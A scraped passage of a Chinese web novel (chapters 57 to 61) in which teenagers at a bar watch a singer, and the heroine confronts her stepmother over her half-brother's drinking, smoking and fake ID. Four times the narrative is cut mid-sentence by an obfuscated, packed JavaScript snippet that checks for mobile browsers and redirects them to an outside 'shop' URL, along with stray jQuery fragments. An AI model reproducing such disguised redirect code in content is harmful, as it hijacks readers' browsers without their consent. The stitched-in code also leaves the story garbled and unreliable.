谷奕的声音有些轻佻地在她耳边响起,给她介绍酒的名字。 酸甜的汁水在口腔里绽放开来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252978|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒精的气味钻进她的鼻子。她放下酒杯,手上沾了冰镇的水雾。 她才刚刚摩挲了一下手指,旁边立刻伸过来一只青筋缠绕的大手,小臂肌肉有力,指尖捏着一张卫生纸,帮她仔仔细细地擦干净了手上的水滴。 ——很认真,很贴心,就像她脚骨折这段时间以来他对自己从早到晚的照顾,已经自然无比。 “……”苏琬一愣,这个角度她只能看见谷奕低下头的毛茸茸的头顶,以及高挺的鼻梁。酒吧天花板上红色的灯光在他棱角分明的脸上一闪而过。 ……她的心突然猛猛地跳。 …… 突然,左边的沙发陷了下去。 苏琬扭头,看见了一张熟悉的脸。 ——黄怀予坐了回来,脸上很平静,已经没有她走之前那种惊慌失措、生怕人发现她的秘密的那种表情。 “回来了?” “嗯。” “裤子弄好了?” “弄不掉了。没关系,等会就自己干了。” 苏琬看着她自然地搭话,又盯着桌上刚刚多出来的几杯酒观察,似乎是在思考自己要拿哪一杯。 她又低头看了一下黄怀予的裤子——膝盖那里确实还是深色的,是水,弄不掉了。 好像刚刚那杯失去情绪控制的水,是还存在于这个世界上的唯一的证据。其他所有对于刚刚听到楚恒要出场的瞬间外露的感情的蛛丝马迹,都已经被当事人自然地抹掉了。 …… 苏琬垂下眼睫,过了一会,把桌上那杯乳白色的液体递给她。 “这是啥?” “酸奶。” “?” 黄怀予愤怒地喊,“在酒吧给我们上酸奶?李鸣月瞧不起谁呢?” 苏琬赶紧按住她,“我让小姨上的。你喝不了酒。” “……”黄怀予瞬间安静了,嘟嘟囔囔地说,“谁说我喝不了?你们都看不起我……” 苏琬看着黄怀予。 她回来以来就一直低着头,双手捧着手里的酸奶,一小口一小口地喝,也不讲话,也不抬头看,好像这个灯红酒绿的酒吧和她如此期待的单身夜party还没有手上这一杯普普通通的酸奶吸引人。 “……”苏琬叹口气,收回目光,重新看向台上的那个人。 她们三个人坐在第一排正中间,离舞台只有几十厘米。 这样近的距离,她连楚恒身上的西装布料都看得一清二楚。 所以,她当然也能清清楚楚地看见,自从黄怀予坐回来以后,楚恒一直紧紧盯着黄怀予的目光。 ——嗯。这就是为什么那位鸵鸟只低头盯着手里的酸奶,还以为自己掩藏得很好呢。 一曲终了。 这是第一首歌的结束。掌声雷动,还夹杂着欢呼,不过这欢呼里除了给表演者的能力肯定,还有很大一部分是给演唱者英俊的脸。 “好!” 谷奕抚掌叫好,给自家兄弟撑腰。 苏琬也默默鼓掌,笑着对台上的人点头。 黄怀予在十秒钟之内欲盖弥彰地喝完了一大杯酸奶之后,终于无法对着空荡荡的杯子装看不见了,只能在周围雷鸣般的掌声和欢呼里,放下了杯子。 嗯,唱得挺好的。 她心想。 那就作为观众给他掌声吧。 她呼出一口气,双手合十,真心实意地鼓起了掌,抬起了头。 ——然后,一瞬间就跌入了那双金色面具下正深深凝视她的眼眸。 58. 第 58 章 他在看自己。 ……哦不对,“看”这个词有点不太准确。 他在盯自己。 他在盯着自己。 这么近的距离,不再是楚门到帝都的一千多公里,不再是微信聊天记录里干巴巴的空白,不再是微博上一举一动都引发讨论的明星和名字只是一串乱码的素人。 ——是他就这样站在自己面前,活生生的,两步就能走到的。 她能清清楚楚看见楚恒额头前一丝不乱的金发,瘦窄的脸,以及白皙脖颈上深红色的领带。 以及,他那双隐藏在金色面具之下的桃花眼,直勾勾给过来的,注视。 …… 什么意思? 黄怀予在心里发出了一个无数次在做题的时候会发出的疑问。 做文言文阅读的时候,“这什么意思?说白话”。 看英语阅读理解的时候,“这什么意思?说中国话”。 想数学最后一道填空题的时候,“这什么意思?说人话”。 ——每一次都不得不去各种翻来覆去地猜测楚恒的行为和眼神的时候,“这什么意思?” “说实话!” “给我说!” “你说啊!你什么意思?你什么意思?你什么意思?” 黄怀予咬牙切齿,恨不得抓着楚恒的领带把他扯过来用力地晃。 你看什么看?! 你当我是动物园里的猴子,你想看就看?! 你又不喜欢我,你为什么要盯着我看?! …… 她越想越气,呼吸都粗重了几分,眼神都变得不清明。 ……但是她面上却依然一动不动,极其镇静冷淡地和楚恒对视着。 不能表现出来,不能让别人看出来自己在意。 不然,就输了。 输?这是和谁的比赛? 黄怀予也不知道。反正她这么多年的经验就是,别管,装就行了。不然会输。 嗯。 两人就这样互相盯着对方看。一边神色平淡安静,一边脸上怒火重重。 1969人声鼎沸,架子鼓清晰的节奏又在身后响起,第二首歌的前奏已经开始了五秒半。 两个人隔着三十厘米的酒精味道遥遥对视,像两只对弈的犀牛。时间也许暂停,人群也许消失。但是两只动物却在角对角的交锋里直直地相撞。 …… 楚恒眼睫颤抖,率先败下阵来。 就像上个月她跌倒在1969门口,是他先移开目光。 就像上个月她在医院扬着头看着自己说自己长得好看,也是他先招架不住。 他看见黄怀予脸上似有怒气,神色并不好看,眼睛里从惊讶慢慢转变成沉沉的暮气,说不清是什么,但是绝不是正向的情绪。 她好像很不服气,好像很倔强,好像永远也不会认输。 嗯。他先移开视线了。 他输了。 * 楚恒一共唱了五首歌。 谷奕半躺在沙发上,两条长腿大剌剌地岔开,手上却忙里忙外地录了半个多小时的视频。 苏琬混在下方人群中的热烈掌声和欢呼中,跟着一起鼓掌。 ……只有黄怀予,像只仓鼠一样,吃掉了三盘花生米。 服务员姐姐来了三四次,除了第一次上的是酒和饮料,剩下的时候都在不停地上各种吃的,没过一会三人面前的桌上已经摆满炸鸡块、薯条和各种干果。 黄怀予不用想也知道这些是李鸣月让上的,专门上给她吃的,免费的。 她抬头朝后面方向望了一眼——李鸣月还在调音师旁边看着,今夜她作为老板是最忙的,除了最先开始过来问候了三人一句,剩下的时间都在全场到处走。 黄怀予吃得很高兴。不仅是因为她本身就喜欢吃东西,更大的原因是楚恒终于唱完了,回到后台了。 ——现在台上是第二位歌手在唱歌。也是一身黑色西装,打扮和楚恒没什么两样,只是气质和身材上就是普通人。 普通人好啊! 她也是普通人。 别老是跟那些长得跟天之骄子似的人相处,怪累的! 现在就自在多了。 她又塞了一块炸鸡到嘴里,晃头晃脑地听台上的人唱歌,心里很满足。 可是这块炸鸡还没有从喉咙里咽下去,她左边的沙发就好像突然陷了下去。 她一愣,低下头的视线里,看见臂弯左边的空间里,多了一双腿。 黑色西装裤腿,深色皮鞋,鞋上打得锃光发亮,好像能映照出1969天花板上五颜六色的射线灯。 ……似乎有一个人,突然坐在了她的左边。 她吸了吸鼻子。 苍兰香味。 …… 黄怀予一惊,心脏都快要跳出来了。 ——她瞬间就用力咽下嘴里那块吃了一半的炸鸡。 那块鸡肉没嚼几下就被强行咽了下去,噎得黄怀予眼珠子都瞪出来了,双手扑腾在喉咙边给自己顺气。 她扑腾的声音太大,右边的苏琬看见了,立刻就伸出手在她后背一下一下轻轻地摸,还递过来一张卫生纸。 “……” 她呛得眼泪都快出来了,还没等伸手去拿那张卫生纸,就看见眼前一晃,左边突然伸过来一只白皙修长的手,握着那杯她喝了一半的酸奶,以一种不容置疑的力气递到她面前,几乎是直接撞进了她手心里。 !! 她没敢转头去看,胆子小到令人发指,哆哆嗦嗦犹豫了几秒,最终还是接了过来,仰头就往嘴里灌,灌了大半杯,终于不再咳嗽了。 她捂着嘴,抖着手擦湿润润的眼角,心脏像台上的架子鼓一样“咚咚咚”跳个不停。 …… 她余光似乎是扫到,那人看她好像是没事了,然后收回了递给她酸奶的手,垂下眼看了一下桌上的东西。 ——似乎是在那一盘炸鸡块上停留了好几秒。 然后,问了一句声音不大不小但是在场三个人都可以听见的话: “胃还痛吗。” ? 黄怀予一顿,心跳都漏掉半拍。 …… 一句话,惊到了三个人。 黄怀予抖着眼睛往右边看,果然看见了苏琬和谷奕像见鬼一样的表情。 ——嗯,三个人隔得这么近,那句话一定是清清楚楚地听到了。 谷奕眼睛瞪得老大,仍然在用他不怎么灵光的脑子梳理刚刚三秒钟之内发生的一切。 “胃还痛吗”——这是一句虽然只有四个字,但是信息量无敌大的话。 第一,杯姐胃痛过。 第二,楚恒知道杯姐胃痛过。 第三,楚恒看了一眼炸鸡才说的这句话,说明楚恒知道杯姐之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没什么,两个人之间没什么私人接触,就是她吃多了胃疼,他见过。 懂,懂! 就像那次楚恒在球场上突然来了劲要主动和卫语程朗打球最后还打得特认真。 就像那次楚恒大半夜给他打电话就是为了要黄怀予的微信。 就像那次楚恒在晚自习课间给自己发一大堆让人看不懂的消息。 管他是因为什么,反正都能解释清楚! …… 谷奕又放松地躺了回去,把最后一口曼哈顿一饮而尽,露出线条流畅的脖颈和下颌线,乌黑短簇的头发一扬又落下。 透明的玻璃杯映出影影绰绰的灯光,和身旁两个沉默的人。 * 黄怀予又去了厕所。 这次是真的要上厕所,毕竟她刚刚低着头猛喝了好几杯酸奶。 出来的时候,三三两两的靓丽潮人从她身侧走过。她微微靠在墙边,舞台上歌手正在唱摇滚,下面的人都跟着一个个摇头晃脑。 她一抬头,不远不近的距离,就看见对面的沙发卡座里有一群人。 是一群很年轻的人,或者说看上去是一群很年幼的人。但是打扮得都非常成熟,所有人都一身黑,顶着五颜六色的头发。 她多看了一眼。 ——就这一眼,她居然就看到了自己的弟弟。 59. 第 59 章 刘子扬坐在整个沙发的正中间,桌前摆着酒,身边坐着章妙。 他左手搭在章妙肩膀上,姿态亲昵。 而另一只手的手指上,夹着一根烟,正在空气里飘飘渺渺散发着烟雾。 …… 虽然黄怀予早就在上次图书馆门口遇见他的时候就知道他抽烟了,但是心里知道和亲眼见到,还是两码事。 一个初二的学生,左手搂着女朋友,右手抽着烟,面前摆着酒,身边一群朋友。 ……这个场景还是有些震撼的。 初二? 黄怀予忍不住想,她初二的时候在干什么? 黄怀予初二的时候还是一个胖子,最擅长察言观色,天天脑子里就是读书和超过卫语考到第一名,以及缠在冯尽欢那群混乱的人际关系中无法自拔。 说现在的小孩早熟,看来是真的。她这种老叛逆姐都有点甘拜下风了。 …… 刘子扬抽烟的姿势极其熟练,简直像极了她外公之前抽烟的样子。 ——不过,后者已经是一个四十年的老烟枪了,而且现在早就因为抽烟而在反复几次的化疗放疗里而被搞得形销骨立没头发了。 黄怀予站在原地,抱胸,淡淡地看了五分钟。 这五分钟内,刘子扬甚至已经抽完了一根烟,又点起了一根新的,跟旁边的人漫不经心地聊着天,夹杂着大量生殖器脏话。 ——一整个非主流初中生。 1969严禁抽烟。 烟味很快就引来了服务员。 黄怀予看了一下,发现来的居然还是之前给自己那桌上酒的那个服务员姐姐。她穿一身成套黑色西装,脸上之前那种微笑也不见了,反而是极其严肃认真地走上前,接过了刘子扬手上的烟,不由分说就掐灭了。 “不好意思先生,1969不允许抽烟。这是第一次,如果再发现一次,我们就只能把您请出去了。” 刘子扬一愣,脸上出现一丝赧然。 旁边众人立即开始起哄:“刘哥的面子也没用啊。” 刘子扬抱歉道:“好的,不好意思我不抽了。” 那位服务员姐姐脸上又出现那个招牌笑容,点点头,带着那根缴获下来的烟走了。 …… 黄怀予在一旁看着,突然觉得很有意思。 她恶趣味地打定主意,要打破刘子扬每一个秘密场合。 于是下一秒,她就走上前,在红红绿绿的射线下,对上刘子扬错愕的脸,平静地打了个招呼。 ……看着他眼里巨大的惊恐,黄怀予心里笑得快死了。 她扫了一眼桌上的酒,对上之前看过的菜单,心里大概有了一个大致价格估算。 “你哪来的钱喝酒?” “……” 刘子扬挠挠脑壳,实话实说。 “我爸给的。” 黄怀予一愣。 她突然想到上次刘远来她家,生活费欠了大半年才给,但是话里话外都说自己给刘子扬买了一套房。 心里一噔,又觉得理所当然。 她很坦然:“是啊,他的钱确实都是你的。” …… 刘子扬并不像传统意义上的叛逆男中学生那么下流,让人看了又恶心又想笑。 相反,他就算和周围那群抽烟骂街的人坐在一起,叼着根烟,说话也有些漫不经心,但是不知道为什么,所有人看了他,都依然觉得他不像混混,还是很阳光,很乖。所有人都觉得,他只是贪玩,不是学坏。 ——没办法,天生“招人喜欢”的特质。 ——黄怀予觉得自己这辈子都没有的特质。 黄怀予要很努力学习,才能争取到别人对自己的好印象。 在“学霸”这个身份下,其他性格特点才显得偏向正面一点,就算叛逆也可以被原谅,反而带着一点青春期少女的倔强和反抗。 没了这个“学霸”身份,她干什么都招人讨厌。 …… “姐姐!这么巧,你也在呀!” 刘子扬很尴尬,但是旁边的章妙却很惊喜,瞪大了一双大大的眼睛,像一只兔子一样看着黄怀予,高兴地冲她招招手。 那天在图书馆门口加了联系方式之后,章妙时不时就拍张照片过来问她题目。她看了章妙空间,小姑娘很聪明,成绩很好,也很好学。 黄怀予一笑,也学着她的样子,冲她招招手。 “好久不见。” “作业做完了吗?等会我送你回去。” 章妙一下瘪了嘴。 “啊!怎么一见面就提作业呀!” “我还没玩够呢,为什么要我回去?” 黄怀予瞥一眼旁边的刘子扬。 “回家去玩手机玩电脑吧。” “你又不抽烟,在这里,跟在他旁边吸二手烟,你也是够吃亏的。” “姐!我……”刘子扬闻言一愣,着急忙慌地想解释什么,又好像觉得她说的确实是实话,于是最后憋了半天也没有憋出一句话来。 …… “杯子!” 黄怀予听见苏琬的声音,一愣,果然转头就看见谷奕扶着苏琬慢慢走了过来。 她皱了皱眉,迅速迎上去:“脚不方便就别老是走路了。咋了?你要去厕所吗?我扶你。” 谷奕在一边不高兴了,顶着嘴角有点玩味的笑: “哎杯姐,这话我可就不爱听了啊。这一个月里苏琬早上晚上上学放学可都是我扶她的啊。” 黄怀予白了他一眼,“美得你。那是我不住校,才勉强由你代劳!山中无老虎,猴子称大王。” “……”谷奕一噎,越听这话越觉得不对劲,又想不出来哪里不对劲。 苏琬握住她的手,轻轻摇头。 “没有,我不去厕所。是看你很久都没回来,所以来找找你。” 谷奕长得高,一下子就越过黄怀予看到了她身后的沙发卡座,和卡座上坐着的一群穿大人衣服的小屁孩,正眼巴巴盯着自己这边看。 他努努嘴,眉梢一挑,“那谁?” “我弟。” “你还有个弟弟?你不是独生子女吗?” 黄怀予神色很平静,“是独生子女。同父异母的弟弟。” “哦。”谷奕明白了,又看了那边两眼,扫了一眼沙发人群中正中间那个男生,“杯姐她弟还挺帅啊。” 苏琬随意看了一眼,不怎么关心地点点头。她也就见过黄怀予这个弟弟一次,并且从来不在黄怀予面前提这人。 …… 黄怀予状似不经意问了一句: “你们俩都过来了?” “是啊。”谷奕接道。 ……一句话把话堵死了,黄怀予摸了摸鼻子,没再说话。 苏琬看了她一眼,微微笑了一下,主动开口: “楚恒刚刚出去了。” !! “……哦。”黄怀予转过身,只留给苏琬一个毛茸茸的后脑勺,“跟我说他干嘛。我又不关心。” “嗯。是因为他是谷奕的朋友,也是小姨今晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252980|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请来的歌手,所以我才说了一句。没有别的意思。” 苏琬嘴边笑意越来越大,眼看着那个转过去背对着她的身影又开始不自然地动来动去,温柔地解释。 …… 黄怀予牵起苏琬的手,三人已经准备走了。 走到人群中间的时候,突然身后传来一阵骚乱和玻璃摔碎的巨大声响,还夹杂着几声尖叫。 黄怀予胆子小,吓得一激灵,手立刻就被苏琬紧紧握住。 她回头。 ——只见刘子扬那群人面前刚刚还好好的酒瓶,此时已经碎了一地,五颜六色的液体混在一起从桌子上滴下来。 几个初中生刚刚还呼朋唤友,现在全部都呆若木鸡,怔怔地看着面前一个叉着腰的中年女人。 黄怀予定睛一看,觉得今晚荒谬的事情好像又增加了一样。 ——那个中年女人,是万颖。 她的继母,刘子扬的亲妈。 …… 说是中年女人,其实万颖还很年轻。 黄怀予妈妈黄薇在22岁就生了黄怀予,三年之后离婚,没过几年刘远就再婚了。再婚那年,万颖也才是黄薇当年生黄怀予的年纪。 不仅年轻,而且很漂亮。 ——不然刘子扬不会那么好看。 万颖叉着腰站在桌子正前方,扎着高马尾,涂着艳丽的口红,极其生气地把桌上的酒杯狠狠摔在地上。巨大的玻璃破碎声又响起来,吓得那群初中生一抖。 刘子扬满脸慌张,涨红了脸。 “你……你怎么来了……” “我怎么来了?” 万颖气极反笑。 “今天晚上的英语补习班你没去上,对吧?你老师打电话打到我这里,我才知道你已经连续三节课瞒着我没上了!” “一到上课你就出门,跟我说你去上课,结果就是来这里鬼混!” “你现在还学会撒谎骗人了!还学会抽烟喝酒了!” …… 全场混乱一片,只有台上的音乐和万颖歇斯底里的吼声。 一番话把在场所有初中生吼得全部低下了头,生怕被万颖认出来熟面孔,告诉自己的家长。 来酒吧抽烟喝酒谈恋爱,结果被家长当场捉住,还有什么比这更倒霉更丢脸的事吗? …… 黄怀予站在不远处,静静地看着。 她没准备出去。 不仅没准备出去,她还准备拉着苏琬和谷奕,走到一个隐蔽一点的地方,又能吃瓜,又能不被万颖发现。 开玩笑,万颖对刘子扬和那群初中生来说是家长,对她来说也是家长啊! 黄怀予可不想被万颖认出来,更不想被家长一辈的人知道她来李鸣月的酒吧。 ——所以,明哲保身先。 三人迅速转移阵地,又往后退了一点。 正好万颖的大叫又引来了好多人的围观,此时此刻刘子扬的沙发卡座周围已经慢慢围了一小圈人。三人隐藏在人群中,完全不显眼。 …… 万颖喘着粗气,一个个扫视着面前这帮小孩的脸。 看到刘子扬身边的章妙时,突然顿住,立刻怒目圆睁,跳起来。 “好啊!是你吧?!” “我记得你!” “之前就看见你在我家楼下缠着刘子扬!” “你个小狐狸精,小小年纪就勾引男同学!不知检点!” “今天一定是你带他来的酒吧。对不对!” “就是你把他带坏了!” 60. 第 60 章 万颖对着章妙劈头盖脸一顿骂,言辞激烈极尽侮辱。 章妙被骂傻了。 越来越多的人都在围观,越来越多的人都在周围议论。 她低下头,脸涨得通红,眼泪一滴滴流了下来。 …… 刘子扬站起来,试图去扯万颖。 “妈妈!” “跟她没关系,我们回去吧……” 万颖一下子用力甩开他的手。 “回去个屁!” “你还点了酒?多少钱?!” “你就知道花钱,还回去,你不买单能回去吗?!” 万颖余怒未消,盯着桌上的瓶瓶罐罐,大怒道: ——“是她让你给她买酒的,对吧?!” “小小年纪就让男人给你花钱,真是不要脸!没家教!” 万颖越说越气,下一秒竟然走上前去,用力把章妙从沙发上扯起来,右手高高扬起了巴掌—— 想象中的掌掴声没有落下来。 万颖的右手被人紧紧捏住,她挣扎半天竟然动也没能动。 她回头一看,一双熟悉的眼睛冷淡地看着自己。 “万阿姨。” 黄怀予紧紧捏住万颖的手腕,面无表情地看着她。 “没想到在这里遇见你和刘子扬。” “!” 万颖满脸惊诧,想抽回手却没抽动。她不知道黄怀予一个十几岁的小姑娘怎么会有这么大的力气,那只手像铁一样动也不动,细长的眼睛里闪着淡漠的光。 “……你,你怎么在这里?” 黄怀予面上很平静: “来这里玩。” “正好碰见刘子扬了。” ——这话一出,万颖脸上闪过惊诧、讶异等众多复杂的表情。 “你来这里玩?” 她脸上的复杂表情马上就又多了一点痛快和高兴,像是得知死对头终于失败的那种大快人心。 ——“你不是在一中读书吗?不是一向都说自己成绩好吗?不是一直都以好学生自居吗?” “怎么,你这种好学生也会来这种酒吧?” …… 万颖像是抓住了敌人的小辫子,眼里逐渐透出兴奋,问题一个接着一个,恨不得立刻就把黄怀予问得哑口无言。 ——只是,她预料到的场面并没有出现。 对面的女生个子很高,接近一米七,身姿挺拔,左手还打着石膏,看她的时候微微俯视。嘴唇微微抿着,那双眼睛藏在镜片后面,只让人觉得出奇地平静。 “刘子扬不是也来了吗?” 她笑着回答。 万颖一下子被这句回答弄得有点结巴。 “……姐姐……” 旁边响起一阵细小的啜泣声和一声弱弱的呼喊。 黄怀予转过身,看见站在一旁的章妙。 她刚刚被万颖一把扯起来弄乱了头发,现在一个人孤孤单单抖着身子瑟缩在一边,下巴上还有没干的泪痕。 她那双大眼睛就这样眼泪汪汪地看着黄怀予,声若蚊蚋: “……谢谢姐姐。” 万颖瞪大了眼睛,用力一抽,终于抽回了被黄怀予紧紧攥住的手。 “你谢谢她?” “你们认识?” 她心里一噔,仿佛一下子明白了什么,脸上表情骤变,立刻指着黄怀予大喊: “原来是你!” “就是你带刘子扬来这种地方的是吧!” “刘子扬平时那么乖那么听话,从来不会来这种地方,从来不会抽烟喝酒!” “一定是你!绝对是你!” “亏你还是他姐姐,都是你把他带坏了!你个小贱人!” 她厉声大吼,直直地指着黄怀予的鼻尖破口大骂。 …… 黄怀予站在原地,还没反应过来这人令人称奇的脑回路,突然右手就被一只温凉的手紧紧握住。 她一愣。 熟悉的味道飘了过来,她转头,看见苏琬有些冷硬的侧脸。 苏琬的手,正紧紧地牵着她。 下一秒,一个高大壮硕的身影就闪到了两人面前,带着一股强烈的压迫感。 ——谷奕一把挡在了两个女孩和万颖中间,黄怀予抬头,只能看见他挺拔的背,宽阔的肩。 他狭长的眸里满是冰冷的寒意,盯着万颖扫了一眼,嗤笑了一声。 “管好你的舌头。” …… 万颖一下子被突然冲上来挡在中间的两个人给吓到。 面前的男人接近一米九,又高又壮,带来极强的压迫感,黑色板寸,斜眼看着她,浑身满是明明白白的叛逆桀骜,嘴角边虽然带着一抹笑但是却透着冰冷和怒气。 ——她不由自主咽了咽口水,僵在原地,刚刚的话全部都堵在喉咙里。 她隐约觉得,如果她再骂一句,他有可能真的上来动手。 “你、你……” “你在外面认识了什么不三不四的朋友,我管不着,你又不是我孩子!” “但是你不要来诱惑我家刘子扬,我儿子才十四岁!” “还有那个小狐狸精,你们两个不准再见我儿子!都给我滚!” …… “诱惑”、“带坏”、“纯洁”、“狐狸精”。 黄怀予只觉得一股股红色的火焰冲击着她的脑子。 她一字一句地说: “你儿子是太子,所有人都想诱惑他陷害他,他就算杀人放火都是可怜的单纯的,都是周围的女人引诱勾引的,对吗?” “在外面这么多人眼前,当众伸手打一个十四岁的小姑娘,你还要不要脸?” “你儿子是你的孩子,她就不是她父母的孩子吗?” 她眼里闪着不屑一顾的笑意。 “放心吧,你儿子不缺钱。他是刘远唯一的儿子,是你们所有人眼里的命根子,老刘家单传香火,谁舍得让他受委屈呢?” 女孩站在人群中间,挺直脊背,一字一字地说着听上去大逆不道的话,每说一句万颖的脸色就白一分。 周围已经围了越来越多的人,人群聚集着看热闹,一声声七嘴八舌的讨论声都随着她冷静的语气慢慢扩大。 …… 刘子扬只觉得丢脸无比。 他低着头站起来,从钱包里掏出几张钞票,随手塞进旁边刚刚赶来的一个服务员手里:“不用找了。”然后就迅速走上前拉住万颖,想直接拉着她走。 ——结果下一秒就被万颖用力甩开了。 她脸上气得青青白白,恼羞成怒,死也不愿意就这样走了,硬是站在原地不动。 “什么情况?!” 一道极其熟悉的声音从右后方传来,黄怀予一愣,松了一口气。 ——在人家的地盘上砸了这么久,老板终于出现了。 只见右后方团团聚集了三四个人,全都是穿着黑色西装的服务员,全是高大壮实的男性。三人走在前面,李鸣月跟在三人后面,踩着高跟鞋风风火火走来,鬓边发丝都乱了几根。 周围团团围住的所有人的目光都被李鸣月吸引了去。 “哎,那就是1969的老板!” “女的啊!” “是啊,可厉害了,1969就是她一个人办的!” “我怎么听说她以前是新娱公司的老师啊?” “新娱公司?哪个新娱公司?” “还能有哪个新娱,沈一瑾那个公司!” “来了来了!卧槽,未成年初中生来酒吧被家长当众抓包,现在老板也来了,这可是精彩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252981|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了……” “进1969不是要看证件的吗?未成年不可能进得来啊,那几个初中生怎么进来的?” 李鸣月顶着在场所有人的目光一步步走过来。 黄怀予也顺着看过去,远远地隔空和她对视着。 李鸣月人还没到,已经远远地就迅速从服务员口中得知了所有的大概情况,此时第一眼就是看黄怀予——见她被谷奕和苏琬围着,还能站在那傻傻地冲自己乐——就一下子放下心来。 还好,外甥女没事。 那就还好。 …… 黄怀予刚刚握住万颖的时候用的是自己没事的右手,刚刚动作太大,一下子有些扯到了打着石膏的左手,手腕传来一丝丝痛。 她远远地看着正走过来的李鸣月,却突然看见李鸣月脸色一变。 “外甥女!” ? 黄怀予一愣,迅速转过头。 ——下一秒就看见,刚刚还在几米之外的万颖,突然一个箭步冲了上来,趁着所有人都在看着李鸣月的功夫,直接对准她缠上绷带石膏的左臂,用力推了一把。 她一下子睁圆了眼,还没反应过来,左手手臂石膏就被用力推出去撞上她的身侧,整个人猝不及防向后倒去—— 那一瞬间,淡淡的小苍兰香味突然钻进她的鼻间把她包围,下一秒她就整个人被拉着抓了半圈,踉跄了几步,陷入一个充满冷气的怀抱。 抬头,只能看见一个绷紧的下颌,和那人鬓角的金色发丝。 !!! 腰上横亘着一条有力的手臂,黄怀予被紧紧搂进了那人怀里。 她只觉得他身上的清新冷冽的味道像空气,像月光,像小时候郊外的星星,她整个人像堕落尘网一样不停地陷下去。 周围人群喧闹,歌声断断续续,灯光像鬼魅,一节一节一丝一丝像蛇一样缠绕,吞掉了她仅剩的理智。 面前男人的胸膛是冷的,是硬的,是精瘦的,是有力的。 揽在她后腰上的手臂是不容拒绝的,是极度强硬的,是带着怒气的。 身体相贴之处,如烈焰燎原。 ……她微微闭上眼睛,浑身开始颤抖。 李鸣月几步跑了过来。 小周立刻站在万颖身边,一把拉住了她。 “干什么?干什么?你是谁?你凭什么拉我?!” 李鸣月远远看着黄怀予被用力推倒的时候,眼里已经闪着怒火,但是她立刻压住了火气,耐着性子摆出一副做生意的招牌笑容,对着万颖就开始打圆场。 1969营业已经大半年了,她处理这种学生被家长当场捉住的情况已经熟能生巧。 小周更是业务熟练,一边拉住万颖和刘子扬,一边分开其他人,护着一群人往包厢那里走去。 李鸣月打着圆场冲周围围观的客人笑道: “没事没事,一点小误会,大家吃好喝好,之后我们还有节目和表演,单身夜万岁!” …… 楚恒微微放开了她。 他带着口罩,金发乖顺柔和地垂下来,黄怀予只能看见他那双眼睛。 他好像说了什么,可是周围太吵,黄怀予没听见。 她条件反射般凑近:“什么?” 马上,左手手肘处就盖上了一只修长白皙的手,他再次揽近她,微微低头,在她耳边说: “手没事吧。” 她耳边仿佛被烫了一下,迅速退开,头往后仰: “……没,没事,她没碰到手腕。” “医生说我恢复得还行,石膏本身再过一周就可以拆了。” 他似是不信,又轻轻攥住了她的左手,对着手腕石膏处认真看了几秒,确认真的没事后放下了。 随后他又退后两步,恢复了那副冷淡的样子。 61. 第 61 章 李鸣月把人带到了包厢,给小周使了个眼色。 小周立刻经验丰富地安排了三个安保服务员兄弟站在包厢门口。 “我儿子才14岁,你们这酒吧卖酒给未成年,你们真是要天打雷劈的!” “你是老板对吧?” “报警!我要报警!” “把你们全部抓起来!” …… 1969会在查预定记录的时候顺便查证件,严禁未成年人进入。 之前也有未成年人试图混进来,但是因为查证件查得严,而且未成年人很容易辨认,所以一半都不会放进来。 李鸣月深知这一点,所以对于面前歇斯底里的万颖,她显得很平静。 只是,只有熟悉她的人才知道,李鸣月越平静,才说明她是真的生气了。 “……” 她目光很冷,就这样看着眼前刚刚用力推了黄怀予受伤的左手的这个女人。 ——她记得万颖。黄怀予的继母。 当然也记得黄怀予那个便宜弟弟,刘家的耀祖。 她没跟万颖说什么废话,直接把当时检查他们一行人证件的工作人员也叫过来对峙。 多番认证之下,刘子扬终于低着头,说了实话。 ——原来他们这群人,居然去做了假证。 他们一行七八个人,有几个男生都长得很高,穿一身黑,看上去完全不像中学生。剩下的看上去稚嫩一点的,都带着□□。 身份证都拿出来了,门口的工作人员就算怀疑年纪也不会不让进。 他已经是第三次来这里了,经验十分丰富。 这些假证,就是专门为了混进1969而做的。 …… 万颖咬着牙用力打了几下刘子扬泄气,终于也自知理亏,没再提报警的事,拉住他就怒气冲冲地走了。 * 一场闹剧就这样莫名其妙地结束了。 刘子扬走得匆忙,连服务员找的钱也没收下,更加没有机会和章妙好好道别。 其他人都已经陆陆续续离开了,只剩章妙一个人孤零零站在包厢角落里,不知道该做什么。 黄怀予走上前,摸摸她的头。 “你家住哪?我送你回去。” 